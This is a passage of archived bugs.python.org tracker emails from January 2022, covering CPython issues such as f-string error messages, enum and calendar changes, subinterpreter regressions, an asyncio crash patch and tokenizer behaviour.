bugs.python.org (Irit Katriel) Date: Wed, 05 Jan 2022 16:26:22 +0000 Subject: [issue30569] Tutorial section 2.1 has *nix example at 3.7, but Windows at 3.6 In-Reply-To: <1496609553.39.0.613003310721.issue30569@psf.upfronthosting.co.za> Message-ID: <1641399982.95.0.759285078937.issue30569@roundup.psfhosted.org> Irit Katriel added the comment: I think this has all been changed by now, in a number of commits. ---------- nosy: +iritkatriel resolution: -> out of date status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 11:26:42 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 05 Jan 2022 16:26:42 +0000 Subject: [issue40521] [subinterpreters] Make free lists and unicode caches per-interpreter In-Reply-To: <1588693682.5.0.219755904926.issue40521@roundup.psfhosted.org> Message-ID: <1641400002.34.0.199003239418.issue40521@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28626 pull_request: https://github.com/python/cpython/pull/30422 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 11:27:26 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 05 Jan 2022 16:27:26 +0000 Subject: [issue46006] [subinterpreter] _PyUnicode_EqualToASCIIId() issue with subinterpreters In-Reply-To: <1638897146.48.0.478621354755.issue46006@roundup.psfhosted.org> Message-ID: <1641400046.17.0.571828902939.issue46006@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28627 pull_request: https://github.com/python/cpython/pull/30422 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 11:43:18 2022 From: report at bugs.python.org (William Navaraj) Date: Wed, 05 Jan 2022 16:43:18 +0000 Subject: [issue46260] Misleading SyntaxError on f-string In-Reply-To: <1641328272.59.0.935411717604.issue46260@roundup.psfhosted.org> Message-ID: <1641400998.15.0.847869527492.issue46260@roundup.psfhosted.org> William Navaraj added the comment: @Eric Smith,Thanks for explaining the intuition behind this statement. I agree. Just to avoid ambiguity we could add "f-string: unmatched '%c' - no matching open parenthesis or missing '}'" The only possibility at nested_depth==0 line 665 is either of those because of the check in line 559 i.e. assert(**str == '{') https://github.com/python/cpython/blob/cae55542d23e606dde9819d5dadd7430085fcc77/Parser/string_parser.c#L559 Will help folks to look backwards (close to open as well) than forwards (open to close) as in Matt's case which is also a valid interpretation where there is an opening paren outside the f-string. or simply "f-string: unmatched '%c' or missing '}'" will also do. ---------- nosy: +williamnavaraj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 11:46:31 2022 From: report at bugs.python.org (Alex Waygood) Date: Wed, 05 Jan 2022 16:46:31 +0000 Subject: [issue46269] '__new__' is never shown in `dir(SomeEnum)` In-Reply-To: <1641395711.58.0.712103911409.issue46269@roundup.psfhosted.org> Message-ID: <1641401191.7.0.28902310166.issue46269@roundup.psfhosted.org> Alex Waygood added the comment: Thanks, Nikita! My bad for not adding tests for __new__ in PR 29316. To confirm: yes, my idea in PR 29316 was that "__new__" (along with most enum dunders) should not show up in the output of dir(Enum), but should show up in dir(EnumSubclass) if and only if __new__ has been overridden outside of enum.py. That's because, unlike with most Python classes, the fact that enum.Enum has a __new__ method or a __format__ method doesn't really tell you very much about enum.Enum's behaviour, due to how magical enums are. But if it's been overridden in a custom Enum subclass, that does tell you that the enum class has special behaviour in some way ? the HTTPStatus enum at Lib/http/__init__.py:6 is a really good example of that. But you're right: the existing code doesn't work as expected, at all: ``` >>> from http import HTTPStatus >>> '__new__' in dir(HTTPStatus) False ``` ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 11:51:35 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 05 Jan 2022 16:51:35 +0000 Subject: [issue46266] Improve day constants (`MONDAY` ... `SUNDAY`) in `calendar.py` In-Reply-To: <1641375502.02.0.241699757209.issue46266@roundup.psfhosted.org> Message-ID: <1641401495.22.0.794777202841.issue46266@roundup.psfhosted.org> Raymond Hettinger added the comment: I don't think these were intended to be public. like "January" and "February", they were for internal use. Presumably, this is because the names vary across languages. In the absence of some demonstrated user need, we should leave this alone. ---------- assignee: -> rhettinger nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 11:52:23 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 05 Jan 2022 16:52:23 +0000 Subject: [issue46266] Improve day constants (`MONDAY` ... `SUNDAY`) in `calendar.py` In-Reply-To: <1641375502.02.0.241699757209.issue46266@roundup.psfhosted.org> Message-ID: <1641401543.55.0.144225667421.issue46266@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- resolution: -> rejected stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 11:53:49 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 05 Jan 2022 16:53:49 +0000 Subject: [issue46006] [subinterpreter] _PyUnicode_EqualToASCIIId() issue with subinterpreters In-Reply-To: <1638897146.48.0.478621354755.issue46006@roundup.psfhosted.org> Message-ID: <1641401629.44.0.0410805973371.issue46006@roundup.psfhosted.org> STINNER Victor added the comment: IMO writing a complete rationale for running multiple interpreters in parallel which require a whole PEP. I didn't write such PEP yet since there are still non-trivial technical issues, especially the problem of static types: bpo-40601. I don't have time right now to measure the performance overhead of PR 30123 on _PyUnicode_EqualToASCIIId() and on changing a type attribute (like overriding the __init__() method). I expect a minor overhead on micro-benchmark and no significant change on pyperformance macrobenchmarks. But again, right I don't have time to go through such analysis. The priority for now is to unblock the Python 3.11 release and repair the Python 3.10 regression, so I'm fine with reverting my commit ea251806b8dffff11b30d2182af1e589caf88acf which introduced the regression. PR 30131 makes more changes than just reverting the commit, it changes the _PyRuntimeState structure and it also reverts the identifiers change, whereas so far, there is no known relationship between this issue and identifiers. IMO it's ok to leave identifiers unchanged. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 12:00:05 2022 From: report at bugs.python.org (Eric Snow) Date: Wed, 05 Jan 2022 17:00:05 +0000 Subject: [issue46006] [subinterpreter] _PyUnicode_EqualToASCIIId() issue with subinterpreters In-Reply-To: <1638897146.48.0.478621354755.issue46006@roundup.psfhosted.org> Message-ID: <1641402005.66.0.543995361265.issue46006@roundup.psfhosted.org> Eric Snow added the comment: +1 on just reverting in both branches. I can deal with my stuff separately. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 12:04:51 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 05 Jan 2022 17:04:51 +0000 Subject: [issue46266] Improve day constants (`MONDAY` ... `SUNDAY`) in `calendar.py` In-Reply-To: <1641375502.02.0.241699757209.issue46266@roundup.psfhosted.org> Message-ID: <1641402291.39.0.0790056804057.issue46266@roundup.psfhosted.org> Nikita Sobolev added the comment: > I don't think these were intended to be public. Thanks for the feedback! The problem is they are documented here: https://docs.python.org/3/library/calendar.html#calendar.setfirstweekday Should we change the docs there to hide them as implementation detail? Because the current state looks inconsistent to me. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 12:06:07 2022 From: report at bugs.python.org (Ethan Furman) Date: Wed, 05 Jan 2022 17:06:07 +0000 Subject: [issue46269] '__new__' is never shown in `dir(SomeEnum)` In-Reply-To: <1641395711.58.0.712103911409.issue46269@roundup.psfhosted.org> Message-ID: <1641402367.66.0.806775724331.issue46269@roundup.psfhosted.org> Ethan Furman added the comment: New changeset 817a6bc9f7b802511c4d42273a621c556a48870b by Nikita Sobolev in branch 'main': bpo-46269: [Enum] remove special-casing of `__new__` in `EnumType.__dir__` (GH-30421) https://github.com/python/cpython/commit/817a6bc9f7b802511c4d42273a621c556a48870b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 12:46:12 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Wed, 05 Jan 2022 17:46:12 +0000 Subject: [issue37330] open(): remove 'U' mode, deprecated since Python 3.3 In-Reply-To: <1560872905.7.0.609892598407.issue37330@roundup.psfhosted.org> Message-ID: <1641404772.87.0.697490330037.issue37330@roundup.psfhosted.org> ?ric Araujo added the comment: > it is useful to build old versions, sometimes 7 year old versions, to confirm if/when the behaviour regressed. I think the sticking point is this: it is not expected that old versions should work as-is with the newest Python. Can you do your build and test with the Python version that was current 7 years ago? ---------- nosy: +eric.araujo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 12:48:15 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 05 Jan 2022 17:48:15 +0000 Subject: [issue45665] Problems caused by isinstance(list[int], type) returning True In-Reply-To: <1635496063.98.0.5366836652.issue45665@roundup.psfhosted.org> Message-ID: <1641404895.51.0.332662100619.issue45665@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Gentle ping, as the next alpha will be release soon ---------- nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 12:48:18 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 05 Jan 2022 17:48:18 +0000 Subject: [issue45665] Problems caused by isinstance(list[int], type) returning True In-Reply-To: <1635496063.98.0.5366836652.issue45665@roundup.psfhosted.org> Message-ID: <1641404898.09.0.628351355308.issue45665@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- nosy: -pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 12:59:11 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 05 Jan 2022 17:59:11 +0000 Subject: [issue40601] [C API] Hide static types from the limited C API In-Reply-To: <1589235805.82.0.0888479979707.issue40601@roundup.psfhosted.org> Message-ID: <1641405551.14.0.0149984779402.issue40601@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- nosy: +erlendaasland _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 13:05:48 2022 From: report at bugs.python.org (Ned Deily) Date: Wed, 05 Jan 2022 18:05:48 +0000 Subject: [issue46248] Compilation errors on macOS In-Reply-To: <1641238565.78.0.970913311215.issue46248@roundup.psfhosted.org> Message-ID: <1641405948.51.0.988644129586.issue46248@roundup.psfhosted.org> Change by Ned Deily : ---------- resolution: -> third party stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 13:20:01 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 05 Jan 2022 18:20:01 +0000 Subject: [issue46266] Improve day constants (`MONDAY` ... `SUNDAY`) in `calendar.py` In-Reply-To: <1641375502.02.0.241699757209.issue46266@roundup.psfhosted.org> Message-ID: <1641406801.09.0.806061077646.issue46266@roundup.psfhosted.org> Raymond Hettinger added the comment: > The problem is they are documented here: > https://docs.python.org/3/library/calendar.html#calendar.setfirstweekday Well, that does make them public, so we have to go forward. ---------- resolution: rejected -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 13:27:14 2022 From: report at bugs.python.org (Christian Heimes) Date: Wed, 05 Jan 2022 18:27:14 +0000 Subject: [issue46271] frozen modules are not regenerated on bytecode magic change when cross building Message-ID: <1641407234.76.0.448260785945.issue46271@roundup.psfhosted.org> New submission from Christian Heimes : The Makefile rules for frozen header files have a dependency on $(FREEZE_MODULE_BOOTSTRAP_DEPS) or $(FREEZE_MODULE_DEPS). For normal builds this dependency will trigger a refresh of the frozen header files when the byte code magic changes: FREEZE_MODULE_BOOTSTRAP_DEPS=Programs/_freeze_module FREEZE_MODULE_DEPS=_bootstrap_python Both binaries depend on object files which indirectly have a dependency on all core header files $(PYTHON_HEADERS). However cross builds use an external Python binary. Neither $(FREEZE_MODULE_BOOTSTRAP_DEPS) nor $(FREEZE_MODULE_DEPS) add an indirect dependency on $(PYTHON_HEADERS). The frozen header files are not rebuilt when any header file like opcode.h is modified. This causes hard to debug issues like https://bugs.python.org/issue46009#msg409770 Fix: all frozen header files should also depend on $(PYTHON_HEADERS) ---------- components: Cross-Build messages: 409794 nosy: Alex.Willmer, christian.heimes, gvanrossum priority: normal severity: normal status: open title: frozen modules are not regenerated on bytecode magic change when cross building type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 13:31:17 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 05 Jan 2022 18:31:17 +0000 Subject: [issue46270] Comparison operators in Python Tutorial 5.7 In-Reply-To: <1641399078.63.0.800108157977.issue46270@roundup.psfhosted.org> Message-ID: <1641407477.52.0.181505187715.issue46270@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- assignee: docs at python -> rhettinger nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 13:52:09 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 05 Jan 2022 18:52:09 +0000 Subject: [issue46070] [subinterpreters] asyncio crash when importing _asyncio in subinterpreter (Python 3.8 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1641408729.08.0.713288863222.issue46070@roundup.psfhosted.org> Erlend E. Aasland added the comment: In 13915a3100608f011b29da2f3716c990f523b631, the init flag is set before we even know if module initialisation was successful. Applying the following patch upon the aforementioned commit (in 3.8) fixes the issue for me on latest Debian: ``` diff --git a/Modules/_asynciomodule.c b/Modules/_asynciomodule.c index 5261ed3d4c..782138e4e4 100644 --- a/Modules/_asynciomodule.c +++ b/Modules/_asynciomodule.c @@ -3250,17 +3250,14 @@ static int module_init(void) { PyObject *module = NULL; + if (module_initialized) { + return 0; + } asyncio_mod = PyImport_ImportModule("asyncio"); if (asyncio_mod == NULL) { goto fail; } - if (module_initialized != 0) { - return 0; - } - else { - module_initialized = 1; - } current_tasks = PyDict_New(); if (current_tasks == NULL) { @@ -3322,6 +3319,7 @@ module_init(void) } Py_DECREF(module); + module_initialized = 1; return 0; fail: ``` ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 13:54:45 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 05 Jan 2022 18:54:45 +0000 Subject: [issue46272] Fix bitwise and logical terminology in python.gram Message-ID: <1641408885.92.0.0799891531401.issue46272@roundup.psfhosted.org> New submission from Raymond Hettinger : In the section "Comparison operators", all mentions of "bitwise" should be "binary". The section "Logical operators" should be retitled "Bitwise operators". See: https://docs.python.org/3/reference/expressions.html#binary-bitwise-operations ---------- assignee: pablogsal components: Documentation messages: 409796 nosy: pablogsal, rhettinger priority: normal severity: normal status: open title: Fix bitwise and logical terminology in python.gram versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 14:07:41 2022 From: report at bugs.python.org (Eric Snow) Date: Wed, 05 Jan 2022 19:07:41 +0000 Subject: [issue46006] [subinterpreter] _PyUnicode_EqualToASCIIId() issue with subinterpreters In-Reply-To: <1638897146.48.0.478621354755.issue46006@roundup.psfhosted.org> Message-ID: <1641409661.88.0.900225244308.issue46006@roundup.psfhosted.org> Eric Snow added the comment: > IMO writing a complete rationale for running multiple interpreters in parallel which require a whole PEP. FYI, I'm planning on having such a PEP published in the next few days. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 14:13:50 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 05 Jan 2022 19:13:50 +0000 Subject: [issue46070] [subinterpreters] asyncio crash when importing _asyncio in subinterpreter (Python 3.8 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1641410030.58.0.499287644367.issue46070@roundup.psfhosted.org> Erlend E. Aasland added the comment: > Applying the following patch upon the aforementioned commit (in 3.8) fixes > the issue for me on latest Debian By "the issue", I mean bug.py, not win_py399_crash_reproducer.py. Victor: perhaps we should open a separate issue for the bug.py issue. Applying the patch from msg409795 onto the 3.9 branch also fixes the segfault from bug.py there. main does not segfault for me, but I would apply the patch anyway, since the current code is broken. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 14:14:42 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 05 Jan 2022 19:14:42 +0000 Subject: [issue46270] Comparison operators in Python Tutorial 5.7 In-Reply-To: <1641399078.63.0.800108157977.issue46270@roundup.psfhosted.org> Message-ID: <1641410082.98.0.22488958837.issue46270@roundup.psfhosted.org> Raymond Hettinger added the comment: It may seem weird, but a "membership operator" is a kind of "comparison operator".? They can even participate in chaining, 'a < b in s < c` is equivalent to `(a < b) and (b in s) and (b < c)`. I'm propose this new wording to mention the concept of "membership": "The comparison operators `in` and `not in` are membership tests that determine whether a value is in (or not in) a container." ? https://docs.python.org/3/reference/expressions.html#comparisons ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 14:26:27 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Wed, 05 Jan 2022 19:26:27 +0000 Subject: [issue46256] Objects __del__ called after module have been removed In-Reply-To: <1641307303.08.0.831426730362.issue46256@roundup.psfhosted.org> Message-ID: <1641410787.55.0.588595989117.issue46256@roundup.psfhosted.org> Dennis Sweeney added the comment: I'm getting this: Traceback (most recent call last): File "/mnt/c/Users/sween/Source/Repos/cpython2/cpython/delbug.py", line 65, in conn = psycopg.connect('dbname=cuny_curriculum') File "/home/sween/.local/lib/python3.10/site-packages/psycopg/connection.py", line 572, in connect raise ex.with_traceback(None) psycopg.OperationalError: connection is bad: No such file or directory Is the server running locally and accepting connections on that socket? Is there a self-contained way to reproduce the issue without a DB up and running? Or to somehow shrink the reproducer down to its cpython-relevant bare essentials? ---------- nosy: +Dennis Sweeney _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 14:29:10 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 05 Jan 2022 19:29:10 +0000 Subject: [issue46070] [subinterpreters] asyncio crash when importing _asyncio in subinterpreter (Python 3.8 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1641410950.06.0.16494706057.issue46070@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- keywords: +patch pull_requests: +28628 stage: test needed -> patch review pull_request: https://github.com/python/cpython/pull/30423 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 15:07:21 2022 From: report at bugs.python.org (Mikhail Terekhov) Date: Wed, 05 Jan 2022 20:07:21 +0000 Subject: [issue46273] Document what asyncio.wait() and asyncio.as_completed() do if canceled. Message-ID: <1641413241.77.0.852203859914.issue46273@roundup.psfhosted.org> New submission from Mikhail Terekhov : It is not clear from documentation what happens with awaitable objects when these are canceled. ---------- assignee: docs at python components: Documentation, asyncio messages: 409801 nosy: asvetlov, docs at python, termim, yselivanov priority: normal severity: normal status: open title: Document what asyncio.wait() and asyncio.as_completed() do if canceled. versions: Python 3.10, Python 3.11, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 15:07:45 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 05 Jan 2022 20:07:45 +0000 Subject: [issue46070] [subinterpreters] asyncio crash when importing _asyncio in subinterpreter (Python 3.8 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1641413265.97.0.262295431497.issue46070@roundup.psfhosted.org> Erlend E. Aasland added the comment: Note, GH-30423 does _not_ fix the win_py399_crash_reproducer.py issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 15:10:47 2022 From: report at bugs.python.org (Jean-Paul Calderone) Date: Wed, 05 Jan 2022 20:10:47 +0000 Subject: [issue34602] python3 resource.setrlimit strange behaviour under macOS In-Reply-To: <1536316486.92.0.56676864532.issue34602@psf.upfronthosting.co.za> Message-ID: <1641413447.02.0.428494531983.issue34602@roundup.psfhosted.org> Jean-Paul Calderone added the comment: My understanding of the resolution of this ticket is that it is still not possible to use setrlimit with RLIMIT_STACK to raise the soft stack limit. Is that correct? In that case, the original bug report still seems valid and unresolved (and indeed, I am porting a project from Python 2.7 to Python 3.9 and on macOS it fails because it cannot raise the stack limit). ---------- nosy: +exarkun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 15:21:08 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 05 Jan 2022 20:21:08 +0000 Subject: [issue46266] Improve day constants (`MONDAY` ... `SUNDAY`) in `calendar.py` In-Reply-To: <1641375502.02.0.241699757209.issue46266@roundup.psfhosted.org> Message-ID: <1641414068.09.0.781148619552.issue46266@roundup.psfhosted.org> Raymond Hettinger added the comment: New changeset e5894ca8fd05e6a6df1033025b9093b68baa718d by Nikita Sobolev in branch 'main': bpo-46266: Add calendar day of week constants to __all__ (GH-30412) https://github.com/python/cpython/commit/e5894ca8fd05e6a6df1033025b9093b68baa718d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 15:22:14 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 05 Jan 2022 20:22:14 +0000 Subject: [issue46266] Improve day constants (`MONDAY` ... `SUNDAY`) in `calendar.py` In-Reply-To: <1641375502.02.0.241699757209.issue46266@roundup.psfhosted.org> Message-ID: <1641414134.0.0.89484707101.issue46266@roundup.psfhosted.org> Raymond Hettinger added the comment: Thanks for the PR. Sorry that I missed the one public reference in the docs. ---------- resolution: -> fixed status: open -> closed versions: -Python 3.10, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 15:22:45 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 05 Jan 2022 20:22:45 +0000 Subject: [issue46266] Improve day constants (`MONDAY` ... `SUNDAY`) in `calendar.py` In-Reply-To: <1641375502.02.0.241699757209.issue46266@roundup.psfhosted.org> Message-ID: <1641414165.07.0.409142065867.issue46266@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 2.0 -> 3.0 pull_requests: +28629 pull_request: https://github.com/python/cpython/pull/30424 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 16:16:57 2022 From: report at bugs.python.org (Jan) Date: Wed, 05 Jan 2022 21:16:57 +0000 Subject: [issue46270] Comparison operators in Python Tutorial 5.7 In-Reply-To: <1641399078.63.0.800108157977.issue46270@roundup.psfhosted.org> Message-ID: <1641417417.24.0.497615632315.issue46270@roundup.psfhosted.org> Jan added the comment: I really like this solution because it mentions the buzz word "membership". But I would change "container" to "sequence" because the term "container" doesn't appear in chapter 5, "sequence" on the other hand multiple times. My proposal: "The comparison operators `in` and `not in` are membership tests that determine whether a value is in (or not in) a sequence." ---------- resolution: -> works for me _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 16:58:37 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 05 Jan 2022 21:58:37 +0000 Subject: [issue46270] Comparison operators in Python Tutorial 5.7 In-Reply-To: <1641399078.63.0.800108157977.issue46270@roundup.psfhosted.org> Message-ID: <1641419917.8.0.474303141986.issue46270@roundup.psfhosted.org> Raymond Hettinger added the comment: Container is correct. Containers are defined as being anything that supports the "in" and "not in" operators. That includes sequences (str, list, tuple, bytes, bytearray), mappings (dict, ChainMap, defaultdict), and sets (frozenset and set). It doesn't matter that the word container comes up later. At this point in the tutorial we tend to have a number of forward or references. Our tutorial is more a guided walkthrough with examples rather than a series of sequential definitions. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 17:14:55 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Wed, 05 Jan 2022 22:14:55 +0000 Subject: [issue43976] Allow Python distributors to add custom site install schemes In-Reply-To: <1619713142.43.0.43081473036.issue43976@roundup.psfhosted.org> Message-ID: <1641420895.4.0.977179984978.issue43976@roundup.psfhosted.org> Jason R. Coombs added the comment: I don't have a good answer, but given the title of this issue (which is specifically scoped to site install schemes), I'm tempted to say we should deal with prefixes in a separate, perhaps broader issue, and there address the reported issue (that a user's prefix override isn't honored by the scheme) and maybe more broadly the issue that there's not a design/spec for python installations (and probably there should be). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 18:10:20 2022 From: report at bugs.python.org (Brett Cannon) Date: Wed, 05 Jan 2022 23:10:20 +0000 Subject: [issue46241] importlib.utils.find_spec() has issues with "tests" folder In-Reply-To: <1641212511.26.0.576933804919.issue46241@roundup.psfhosted.org> Message-ID: <1641424220.23.0.0871620252539.issue46241@roundup.psfhosted.org> Brett Cannon added the comment: This is working as intended. Because you don't have a `__init__.py` file in your `tests` directory, Python considers it a potential namespace package. As such, Python keeps searching for a "normal" package that defines `__init__.py` for the same package name. Since Astroid has one and seemingly has it on `sys.path` in such a way as to get discovered, it gets selected as the package to use for the name `test`. If you add a `tests/__init__.py` file then your issue will go away. ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 18:11:47 2022 From: report at bugs.python.org (Christopher Vickery) Date: Wed, 05 Jan 2022 23:11:47 +0000 Subject: [issue46256] Objects __del__ called after module have been removed In-Reply-To: <1641307303.08.0.831426730362.issue46256@roundup.psfhosted.org> Message-ID: <1641424307.52.0.791048608753.issue46256@roundup.psfhosted.org> Christopher Vickery added the comment: The app has to open a db connection during module initialization to trigger the problem, so I can't provide a self-contained way to reproduce the problem. The closest I can come is the attached file, format_rules_annotated.py. With lines 66-69 in place, the problem occurs, even if there are no command line arguments, with Python 3.10, but not with Python 3.9. If I comment out lines 66-69 there is no problem with either 3.10 or 3.9, even if I add a command line argument that causes connections to be opened within functions defined within the module. (I added the explicit initialization of the institution_names dict so I could test those function calls without accessing the db during module initialization.) FWIW, here is an execution under 3.10 with lines 66-69 commented out: $ python -m format_rules_annotated -r QCC01:QNS01:PH:35 QCC01:QNS01:PH:35 C- or above in PH 101 at Queensborough, 4.0 credits, transfers to Queens as PHYS-11 and PHYS-14, 4.0 credits. [No "Exception ignored" message appears here because db was not accessed during module initialization] $ ---------- Added file: https://bugs.python.org/file50542/format_rules_annotated.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 18:12:47 2022 From: report at bugs.python.org (Jeremy) Date: Wed, 05 Jan 2022 23:12:47 +0000 Subject: [issue46274] backslash creating statement out of nothing Message-ID: <1641424367.42.0.632530824135.issue46274@roundup.psfhosted.org> New submission from Jeremy : A source of one or more backslash-escaped newlines, and one final newline, is not tokenized the same as a source where those lines are "manually joined". The source ``` \ \ \ ``` produces the tokens NEWLINE, ENDMARKER when piped to the tokenize module. Whereas the source ``` ``` produces the tokens NL, ENDMARKER. What I expect is to receive only one NL token from both sources. As per the documentation "Two or more physical lines may be joined into logical lines using backslash characters" ... "A logical line that contains only spaces, tabs, formfeeds and possibly a comment, is ignored (i.e., no NEWLINE token is generated)" And, because these logical lines are not being ignored, if there are spaces/tabs, INDENT and DEDENT tokens are also being unexpectedly produced. The source ``` \ ``` produces the tokens INDENT, NEWLINE, DEDENT, ENDMARKER. Whereas the source (with spaces) ``` ``` produces the tokens NL, ENDMARKER. ---------- components: Parser messages: 409811 nosy: lys.nikolaou, pablogsal, ucodery priority: normal severity: normal status: open title: backslash creating statement out of nothing versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 18:30:26 2022 From: report at bugs.python.org (=?utf-8?q?Dani=C3=ABl_van_Noord?=) Date: Wed, 05 Jan 2022 23:30:26 +0000 Subject: [issue46241] importlib.utils.find_spec() has issues with "tests" folder In-Reply-To: <1641212511.26.0.576933804919.issue46241@roundup.psfhosted.org> Message-ID: <1641425426.23.0.74521430698.issue46241@roundup.psfhosted.org> Dani?l van Noord added the comment: Thanks Brett for that explanation! Makes sense actually now that I think about it. I also wondered how astroid got onto my sys.path, but that's something for another time :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 20:25:48 2022 From: report at bugs.python.org (William Navaraj) Date: Thu, 06 Jan 2022 01:25:48 +0000 Subject: [issue46275] caret location for syntax error pointing with f-strings Message-ID: <1641432348.77.0.771622178484.issue46275@roundup.psfhosted.org> New submission from William Navaraj : Currently for non-f-string syntax errors, the caret points to the correct location of the syntax errors Example 1: ``` a=foo)+foo()+foo() ``` a=foo)+foo()+foo() ^ SyntaxError: unmatched ')' For f-string syntax errors, the caret points two locations after the f-string (almost correct location of the f-strings as a whole but will be more helpful as much as possible to point where exactly the syntax error is) Example 2: ``` temp=f"blank ({foo(}" ``` temp=f"blank ({foo(}" ^ SyntaxError: f-string: closing parenthesis '}' does not match opening parenthesis '(' Example 3: ``` temp=f"blank ({foo)blank ({foo()}) blank foo()})" ``` temp=f"blank ({foo)blank ({foo()}) blank foo()})" ^ SyntaxError: f-string: unmatched ')' ---------- components: Parser messages: 409813 nosy: lys.nikolaou, pablogsal, williamnavaraj priority: normal severity: normal status: open title: caret location for syntax error pointing with f-strings versions: Python 3.11, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 20:52:28 2022 From: report at bugs.python.org (William Navaraj) Date: Thu, 06 Jan 2022 01:52:28 +0000 Subject: [issue46275] caret location for syntax error pointing with f-strings In-Reply-To: <1641432348.77.0.771622178484.issue46275@roundup.psfhosted.org> Message-ID: <1641433948.62.0.182398887843.issue46275@roundup.psfhosted.org> William Navaraj added the comment: A potential solution or in that direction https://github.com/williamnavaraj/cpython/tree/fix-issue-46275 Example 1: ``` temp=f"blank {foo)" ``` temp=f"blank {foo)" ^ SyntaxError: f-string: unmatched ')' Example 2: ``` temp=f"blank ({foo)foo2" ``` temp=f"blank 